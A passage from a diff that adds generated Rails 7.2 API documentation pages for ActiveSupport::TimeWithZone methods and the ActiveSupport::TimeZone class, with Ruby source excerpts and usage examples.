Time.zone = 'Eastern Time (US & Canada)'   # => "Eastern Time (US & Canada)"
+Time.zone.now.formatted_offset(true)       # => "-05:00"
+Time.zone.now.formatted_offset(false)      # => "-0500"
+Time.zone = 'UTC'                          # => "UTC"
+Time.zone.now.formatted_offset(true, "0")  # => "0"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 125
+    def formatted_offset(colon = true, alternate_utc_string = nil)
+      utc? && alternate_utc_string || TimeZone.seconds_to_utc_offset(utc_offset, colon)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + freeze() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 513
+    def freeze
+      # preload instance variables before freezing
+      period; utc; time; to_datetime; to_time
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + future?() + +

+ + +
+

Returns true if the current object’s time is in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 270
+    def future?
+      utc.future?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + getgm() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + getlocal(utc_offset = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: localtime +
+ + + + +
+ +
+

+ + getutc() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + gmt?() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc? +
+ + + + +
+ +
+

+ + gmt_offset() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc_offset +
+ + + + +
+ +
+

+ + gmtime() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + gmtoff() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc_offset +
+ + + + +
+ +
+

+ + hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 279
+    def hash
+      utc.hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + httpdate() + +

+ + +
+

Returns a string of the object’s date and time in the format used by HTTP requests.

+ +
Time.zone.now.httpdate  # => "Tue, 01 Jan 2013 04:39:43 GMT"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 186
+    def httpdate
+      utc.httpdate
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: + +
+ + + + +
+ +
+

+ + in_time_zone(new_zone = ::Time.zone) + +

+ + +
+

Returns the simultaneous time in Time.zone, or the specified zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 77
+    def in_time_zone(new_zone = ::Time.zone)
+      return self if time_zone == new_zone
+      utc.in_time_zone(new_zone)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+

Returns a string of the object’s date, time, zone, and offset from UTC.

+ +
Time.zone.now.inspect # => "Thu, 04 Dec 2014 11:00:25.624541392 EST -05:00"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 140
+    def inspect
+      "#{time.strftime('%a, %d %b %Y %H:%M:%S.%9N')} #{zone} #{formatted_offset}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + is_a?(klass) + +

+ + +
+

Say we’re a Time to thwart type checking.

+
+ + + +
+ Also aliased as: kind_of? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 499
+    def is_a?(klass)
+      klass == ::Time || super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + isdst() + +

+ + +
+ +
+ + + + + +
+ Alias for: dst? +
+ + + + +
+ +
+

+ + iso8601(fraction_digits = 0) + +

+ + +
+ +
+ + + + + +
+ Alias for: xmlschema +
+ + + + +
+ +
+

+ + kind_of?(klass) + +

+ + +
+ +
+ + + + + +
+ Alias for: is_a? +
+ + + + +
+ +
+

+ + localtime(utc_offset = nil) + +

+ + +
+

Returns a Time instance of the simultaneous time in the system timezone.

+
+ + + +
+ Also aliased as: getlocal +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 83
+    def localtime(utc_offset = nil)
+      utc.getlocal(utc_offset)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marshal_dump() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 519
+    def marshal_dump
+      [utc, time_zone.name, time]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marshal_load(variables) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 523
+    def marshal_load(variables)
+      initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(...) + +

+ + +
+

Send the missing method to time instance, and wrap result in a new TimeWithZone with the existing time_zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 544
+    def method_missing(...)
+      wrap_with_time_zone time.__send__(...)
+    rescue NoMethodError => e
+      raise e, e.message.sub(time.inspect, inspect).sub("Time", "ActiveSupport::TimeWithZone"), e.backtrace
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_day?() + +

+ + +
+ +
+ + + + + +
+ Alias for: tomorrow? +
+ + + + +
+ +
+

+ + past?() + +

+ + +
+

Returns true if the current object’s time is in the past.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 245
+    def past?
+      utc.past?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + period() + +

+ + +
+

Returns the underlying TZInfo::TimezonePeriod.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 72
+    def period
+      @period ||= time_zone.period_for_utc(@utc)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_day?() + +

+ + +
+ +
+ + + + + +
+ Alias for: yesterday? +
+ + + + +
+ +
+

+ + respond_to?(sym, include_priv = false) + +

+ + +
+

respond_to_missing? is not called in some cases, such as when type conversion is performed with Kernel#String

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 529
+    def respond_to?(sym, include_priv = false)
+      # ensure that we're not going to throw and rescue from NoMethodError in method_missing which is slow
+      return false if sym.to_sym == :to_str
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to_missing?(sym, include_priv) + +

+ + +
+

Ensure proxy class responds to all methods that underlying time instance responds to.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 537
+    def respond_to_missing?(sym, include_priv)
+      return false if sym.to_sym == :acts_like_date?
+      time.respond_to?(sym, include_priv)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rfc2822() + +

+ + +
+

Returns a string of the object’s date and time in the RFC 2822 standard format.

+ +
Time.zone.now.rfc2822  # => "Tue, 01 Jan 2013 04:51:39 +0000"
+
+
+ + + +
+ Also aliased as: rfc822 +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 194
+    def rfc2822
+      to_fs(:rfc822)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rfc3339(fraction_digits = 0) + +

+ + +
+ +
+ + + + + +
+ Alias for: xmlschema +
+ + + + +
+ +
+

+ + rfc822() + +

+ + +
+ +
+ + + + + +
+ Alias for: rfc2822 +
+ + + + +
+ +
+

+ + since(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: + +
+ + + + +
+ +
+

+ + strftime(format) + +

+ + +
+

Replaces %Z directive with +zone before passing to Time#strftime, so that zone information is correct.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 226
+    def strftime(format)
+      format = format.gsub(/((?:\A|[^%])(?:%%)*)%Z/, "\\1#{zone}")
+      getlocal(utc_offset).strftime(format)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time() + +

+ + +
+

Returns a Time instance that represents the time in time_zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 58
+    def time
+      @time ||= incorporate_utc_offset(@utc, utc_offset)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_a() + +

+ + +
+

Returns Array of parts of Time in sequence of [seconds, minutes, hours, day, month, year, weekday, yearday, dst?, zone].

+ +
now = Time.zone.now     # => Tue, 18 Aug 2015 02:29:27.485278555 UTC +00:00
+now.to_a                # => [27, 29, 2, 18, 8, 2015, 2, 230, false, "UTC"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 445
+    def to_a
+      [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_datetime() + +

+ + +
+

Returns an instance of DateTime with the timezone’s UTC offset

+ +
Time.zone.now.to_datetime                         # => Tue, 18 Aug 2015 02:32:20 +0000
+Time.current.in_time_zone('Hawaii').to_datetime   # => Mon, 17 Aug 2015 16:32:20 -1000
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 478
+    def to_datetime
+      @to_datetime ||= utc.to_datetime.new_offset(Rational(utc_offset, 86_400))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_f() + +

+ + +
+

Returns the object’s date and time as a floating-point number of seconds since the Epoch (January 1, 1970 00:00 UTC).

+ +
Time.zone.now.to_f # => 1417709320.285418
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 453
+    def to_f
+      utc.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_formatted_s(format = :default) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = :default) + +

+ + +
+

Returns a string of the object’s date and time.

+ +

This method is aliased to to_formatted_s.

+ +

Accepts an optional format:

+
  • +

    :default - default value, mimics Ruby Time#to_s format.

    +
  • +

    :db - format outputs time in UTC :db time. See Time#to_fs(:db).

    +
  • +

    Any key in Time::DATE_FORMATS can be used. See active_support/core_ext/time/conversions.rb.

    +
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 212
+    def to_fs(format = :default)
+      if format == :db
+        utc.to_fs(format)
+      elsif formatter = ::Time::DATE_FORMATS[format]
+        formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+      else
+        # Change to to_s when deprecation is gone.
+        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_i() + +

+ + +
+

Returns the object’s date and time as an integer number of seconds since the Epoch (January 1, 1970 00:00 UTC).

+ +
Time.zone.now.to_i # => 1417709320
+
+
+ + + +
+ Also aliased as: tv_sec +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 461
+    def to_i
+      utc.to_i
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_r() + +

+ + +
+

Returns the object’s date and time as a rational number of seconds since the Epoch (January 1, 1970 00:00 UTC).

+ +
Time.zone.now.to_r # => (708854548642709/500000)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 470
+    def to_r
+      utc.to_r
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+

Returns a string of the object’s date and time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 200
+    def to_s
+      "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby Time#to_s format
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time() + +

+ + +
+

Returns an instance of Time, either with the same UTC offset as self or in the local system timezone depending on the setting of ActiveSupport.to_time_preserves_timezone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 485
+    def to_time
+      if preserve_timezone
+        @to_time_with_instance_offset ||= getlocal(utc_offset)
+      else
+        @to_time_with_system_offset ||= getlocal
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + today?() + +

+ + +
+

Returns true if the current object’s time falls within the current day.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 251
+    def today?
+      time.today?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tomorrow?() + +

+ + +
+

Returns true if the current object’s time falls within the next day (tomorrow).

+
+ + + +
+ Also aliased as: next_day? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 257
+    def tomorrow?
+      time.tomorrow?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tv_sec() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_i +
+ + + + +
+ +
+

+ + utc() + +

+ + +
+

Returns a Time instance of the simultaneous time in the UTC timezone.

+
+ + + +
+ Also aliased as: comparable_time, getgm, getutc, gmtime +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 63
+    def utc
+      @utc ||= incorporate_utc_offset(@time, -utc_offset)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc?() + +

+ + +
+

Returns true if the current time zone is set to UTC.

+ +
Time.zone = 'UTC'                           # => 'UTC'
+Time.zone.now.utc?                          # => true
+Time.zone = 'Eastern Time (US & Canada)'    # => 'Eastern Time (US & Canada)'
+Time.zone.now.utc?                          # => false
+
+
+ + + +
+ Also aliased as: gmt? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 105
+    def utc?
+      zone == "UTC" || zone == "UCT"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc_offset() + +

+ + +
+

Returns the offset from current time to UTC time in seconds.

+
+ + + +
+ Also aliased as: gmt_offset, gmtoff +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 111
+    def utc_offset
+      period.observed_utc_offset
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + xmlschema(fraction_digits = 0) + +

+ + +
+

Returns a string of the object’s date and time in the ISO 8601 standard format.

+ +
Time.zone.now.xmlschema  # => "2014-12-04T11:02:37-05:00"
+
+
+ + + +
+ Also aliased as: iso8601, rfc3339 +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 148
+    def xmlschema(fraction_digits = 0)
+      "#{time.strftime(PRECISIONS[fraction_digits.to_i])}#{formatted_offset(true, 'Z')}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yesterday?() + +

+ + +
+

Returns true if the current object’s time falls within the previous day (yesterday).

+
+ + + +
+ Also aliased as: prev_day? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 264
+    def yesterday?
+      time.yesterday?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + zone() + +

+ + +
+

Returns the time zone abbreviation.

+ +
Time.zone = 'Eastern Time (US & Canada)'   # => "Eastern Time (US & Canada)"
+Time.zone.now.zone # => "EST"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 133
+    def zone
+      period.abbreviation
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/TimeZone.html b/src/7.2/classes/ActiveSupport/TimeZone.html new file mode 100644 index 0000000000..ee67750f94 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/TimeZone.html @@ -0,0 +1,1548 @@ +--- +title: ActiveSupport::TimeZone +layout: default +--- +
+ +
+
+ +
+ +

Active Support Time Zone

+ +

The TimeZone class serves as a wrapper around TZInfo::Timezone instances. It allows us to do the following:

+
  • +

    Limit the set of zones provided by TZInfo to a meaningful subset of 134 zones.

    +
  • +

    Retrieve and display zones with a friendlier name (e.g., β€œEastern Time (US & Canada)” instead of β€œAmerica/New_York”).

    +
  • +

    Lazily load TZInfo::Timezone instances only when they’re needed.

    +
  • +

    Create ActiveSupport::TimeWithZone instances via TimeZone’s local, parse, at, and now methods.

    +
+ +

If you set config.time_zone in the Rails Application, you can access this TimeZone object via Time.zone:

+ +
# application.rb:
+class Application < Rails::Application
+  config.time_zone = 'Eastern Time (US & Canada)'
+end
+
+Time.zone      # => #<ActiveSupport::TimeZone:0x514834...>
+Time.zone.name # => "Eastern Time (US & Canada)"
+Time.zone.now  # => Sun, 18 May 2008 14:30:44 EDT -04:00
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + Comparable + +
  • + +
+ + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
MAPPING={ +"International Date Line West" => "Etc/GMT+12", +"Midway Island" => "Pacific/Midway", +"American Samoa" => "Pacific/Pago_Pago", +"Hawaii" => "Pacific/Honolulu", +"Alaska" => "America/Juneau", +"Pacific Time (US & Canada)" => "America/Los_Angeles", +"Tijuana" => "America/Tijuana", +"Mountain Time (US & Canada)" => "America/Denver", +"Arizona" => "America/Phoenix", +"Chihuahua" => "America/Chihuahua", +"Mazatlan" => "America/Mazatlan", +"Central Time (US & Canada)" => "America/Chicago", +"Saskatchewan" => "America/Regina", +"Guadalajara" => "America/Mexico_City", +"Mexico City" => "America/Mexico_City", +"Monterrey" => "America/Monterrey", +"Central America" => "America/Guatemala", +"Eastern Time (US & Canada)" => "America/New_York", +"Indiana (East)" => "America/Indiana/Indianapolis", +"Bogota" => "America/Bogota", +"Lima" => "America/Lima", +"Quito" => "America/Lima", +"Atlantic Time (Canada)" => "America/Halifax", +"Caracas" => "America/Caracas", +"La Paz" => "America/La_Paz", +"Santiago" => "America/Santiago", +"Newfoundland" => "America/St_Johns", +"Brasilia" => "America/Sao_Paulo", +"Buenos Aires" => "America/Argentina/Buenos_Aires", +"Montevideo" => "America/Montevideo", +"Georgetown" => "America/Guyana", +"Puerto Rico" => "America/Puerto_Rico", +"Greenland" => "America/Godthab", +"Mid-Atlantic" => "Atlantic/South_Georgia", +"Azores" => "Atlantic/Azores", +"Cape Verde Is." => "Atlantic/Cape_Verde", +"Dublin" => "Europe/Dublin", +"Edinburgh" => "Europe/London", +"Lisbon" => "Europe/Lisbon", +"London" => "Europe/London", +"Casablanca" => "Africa/Casablanca", +"Monrovia" => "Africa/Monrovia", +"UTC" => "Etc/UTC", +"Belgrade" => "Europe/Belgrade", +"Bratislava" => "Europe/Bratislava", +"Budapest" => "Europe/Budapest", +"Ljubljana" => "Europe/Ljubljana", +"Prague" => "Europe/Prague", +"Sarajevo" => "Europe/Sarajevo", +"Skopje" => "Europe/Skopje", +"Warsaw" => "Europe/Warsaw", +"Zagreb" => "Europe/Zagreb", +"Brussels" => "Europe/Brussels", +"Copenhagen" => "Europe/Copenhagen", +"Madrid" => "Europe/Madrid", +"Paris" => "Europe/Paris", +"Amsterdam" => "Europe/Amsterdam", +"Berlin" => "Europe/Berlin", +"Bern" => "Europe/Zurich", +"Zurich" => "Europe/Zurich", +"Rome" => "Europe/Rome", +"Stockholm" => "Europe/Stockholm", +"Vienna" => "Europe/Vienna", +"West Central Africa" => "Africa/Algiers", +"Bucharest" => "Europe/Bucharest", +"Cairo" => "Africa/Cairo", +"Helsinki" => "Europe/Helsinki", +"Kyiv" => "Europe/Kiev", +"Riga" => "Europe/Riga", +"Sofia" => "Europe/Sofia", +"Tallinn" => "Europe/Tallinn", +"Vilnius" => "Europe/Vilnius", +"Athens" => "Europe/Athens", +"Istanbul" => "Europe/Istanbul", +"Minsk" => "Europe/Minsk", +"Jerusalem" => "Asia/Jerusalem", +"Harare" => "Africa/Harare", +"Pretoria" => "Africa/Johannesburg", +"Kaliningrad" => "Europe/Kaliningrad", +"Moscow" => "Europe/Moscow", +"St. Petersburg" => "Europe/Moscow", +"Volgograd" => "Europe/Volgograd", +"Samara" => "Europe/Samara", +"Kuwait" => "Asia/Kuwait", +"Riyadh" => "Asia/Riyadh", +"Nairobi" => "Africa/Nairobi", +"Baghdad" => "Asia/Baghdad", +"Tehran" => "Asia/Tehran", +"Abu Dhabi" => "Asia/Muscat", +"Muscat" => "Asia/Muscat", +"Baku" => "Asia/Baku", +"Tbilisi" => "Asia/Tbilisi", +"Yerevan" => "Asia/Yerevan", +"Kabul" => "Asia/Kabul", +"Ekaterinburg" => "Asia/Yekaterinburg", +"Islamabad" => "Asia/Karachi", +"Karachi" => "Asia/Karachi", +"Tashkent" => "Asia/Tashkent", +"Chennai" => "Asia/Kolkata", +"Kolkata" => "Asia/Kolkata", +"Mumbai" => "Asia/Kolkata", +"New Delhi" => "Asia/Kolkata", +"Kathmandu" => "Asia/Kathmandu", +"Dhaka" => "Asia/Dhaka", +"Sri Jayawardenepura" => "Asia/Colombo", +"Almaty" => "Asia/Almaty", +"Astana" => "Asia/Almaty", +"Novosibirsk" => "Asia/Novosibirsk", +"Rangoon" => "Asia/Rangoon", +"Bangkok" => "Asia/Bangkok", +"Hanoi" => "Asia/Bangkok", +"Jakarta" => "Asia/Jakarta", +"Krasnoyarsk" => "Asia/Krasnoyarsk", +"Beijing" => "Asia/Shanghai", +"Chongqing" => "Asia/Chongqing", +"Hong Kong" => "Asia/Hong_Kong", +"Urumqi" => "Asia/Urumqi", +"Kuala Lumpur" => "Asia/Kuala_Lumpur", +"Singapore" => "Asia/Singapore", +"Taipei" => "Asia/Taipei", +"Perth" => "Australia/Perth", +"Irkutsk" => "Asia/Irkutsk", +"Ulaanbaatar" => "Asia/Ulaanbaatar", +"Seoul" => "Asia/Seoul", +"Osaka" => "Asia/Tokyo", +"Sapporo" => "Asia/Tokyo", +"Tokyo" => "Asia/Tokyo", +"Yakutsk" => "Asia/Yakutsk", +"Darwin" => "Australia/Darwin", +"Adelaide" => "Australia/Adelaide", +"Canberra" => "Australia/Canberra", +"Melbourne" => "Australia/Melbourne", +"Sydney" => "Australia/Sydney", +"Brisbane" => "Australia/Brisbane", +"Hobart" => "Australia/Hobart", +"Vladivostok" => "Asia/Vladivostok", +"Guam" => "Pacific/Guam", +"Port Moresby" => "Pacific/Port_Moresby", +"Magadan" => "Asia/Magadan", +"Srednekolymsk" => "Asia/Srednekolymsk", +"Solomon Is." => "Pacific/Guadalcanal", +"New Caledonia" => "Pacific/Noumea", +"Fiji" => "Pacific/Fiji", +"Kamchatka" => "Asia/Kamchatka", +"Marshall Is." => "Pacific/Majuro", +"Auckland" => "Pacific/Auckland", +"Wellington" => "Pacific/Auckland", +"Nuku'alofa" => "Pacific/Tongatapu", +"Tokelau Is." => "Pacific/Fakaofo", +"Chatham Is." => "Pacific/Chatham", +"Samoa" => "Pacific/Apia" +}
 

Keys are Rails TimeZone names, values are TZInfo identifiers.

+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + name
+ [R] + tzinfo
+ + + + +

Class Public methods

+ +
+

+ + [](arg) + +

+ + +
+

Locate a specific time zone object. If the argument is a string, it is interpreted to mean the name of the timezone to locate. If it is a numeric value it is either the hour offset, or the second offset, of the timezone to find. (The first one with that offset will be returned.) Returns nil if no such time zone is known to the system.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 234
+      def [](arg)
+        case arg
+        when self
+          arg
+        when String
+          begin
+            @lazy_zones_map[arg] ||= create(arg)
+          rescue TZInfo::InvalidTimezoneIdentifier
+            nil
+          end
+        when TZInfo::Timezone
+          @lazy_zones_map[arg.name] ||= create(arg.name, nil, arg)
+        when Numeric, ActiveSupport::Duration
+          arg *= 3600 if arg.abs <= 13
+          all.find { |z| z.utc_offset == arg.to_i }
+        else
+          raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all() + +

+ + +
+

Returns an array of all TimeZone objects. There are multiple TimeZone objects per time zone, in many cases, to make it easier for users to find their own time zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 225
+      def all
+        @zones ||= zones_map.values.sort
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + country_zones(country_code) + +

+ + +
+

A convenience method for returning a collection of TimeZone objects for time zones in the country specified by its ISO 3166-1 Alpha2 code.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 262
+      def country_zones(country_code)
+        code = country_code.to_s.upcase
+        @country_zones[code] ||= load_country_zones(code)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create(name, utc_offset = nil, tzinfo = nil) + + +

+ + +
+

Create a new TimeZone object with the given name and offset. The offset is the number of seconds that this time zone is offset from UTC (GMT). Seconds were chosen as the offset unit because that is the unit that Ruby uses to represent time zone offsets (see Time#utc_offset).

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + find_tzinfo(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 207
+      def find_tzinfo(name)
+        TZInfo::Timezone.get(MAPPING[name] || name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(name) + +

+ + +
+

Returns a TimeZone instance with the given name, or nil if no such TimeZone instance exists. (This exists to support the use of this class with the composed_of macro.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 218
+      def new(name)
+        self[name]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + seconds_to_utc_offset(seconds, colon = true) + +

+ + +
+

Assumes self represents an offset from UTC in seconds (as returned from Time#utc_offset) and turns this into an +HH:MM formatted string.

+ +
ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 199
+      def seconds_to_utc_offset(seconds, colon = true)
+        format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
+        sign = (seconds < 0 ? "-" : "+")
+        hours = seconds.abs / 3600
+        minutes = (seconds.abs % 3600) / 60
+        format % [sign, hours, minutes]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + us_zones() + +

+ + +
+

A convenience method for returning a collection of TimeZone objects for time zones in the USA.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 256
+      def us_zones
+        country_zones(:us)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <=>(zone) + +

+ + +
+

Compare this time zone to the parameter. The two are compared first on their offsets, and then by name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 335
+    def <=>(zone)
+      return unless zone.respond_to? :utc_offset
+      result = (utc_offset <=> zone.utc_offset)
+      result = (name <=> zone.name) if result == 0
+      result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + =~(re) + +

+ + +
+

Compare name and TZInfo identifier to a supplied regexp, returning true if a match is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 344
+    def =~(re)
+      re === name || re === MAPPING[name]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at(*args) + +

+ + +
+

Method for creating new ActiveSupport::TimeWithZone instance in time zone of self from number of seconds since the Unix epoch.

+ +
Time.zone = 'Hawaii'        # => "Hawaii"
+Time.utc(2000).to_f         # => 946684800.0
+Time.zone.at(946684800.0)   # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+
+ +

A second argument can be supplied to specify sub-second precision.

+ +
Time.zone = 'Hawaii'                # => "Hawaii"
+Time.at(946684800, 123456.789).nsec # => 123456789
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 381
+    def at(*args)
+      Time.at(*args).utc.in_time_zone(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formatted_offset(colon = true, alternate_utc_string = nil) + +

+ + +
+

Returns a formatted string of the offset from UTC, or an alternative string if the time zone is already UTC.

+ +
zone = ActiveSupport::TimeZone['Central Time (US & Canada)']
+zone.formatted_offset        # => "-06:00"
+zone.formatted_offset(false) # => "-0600"
+
+
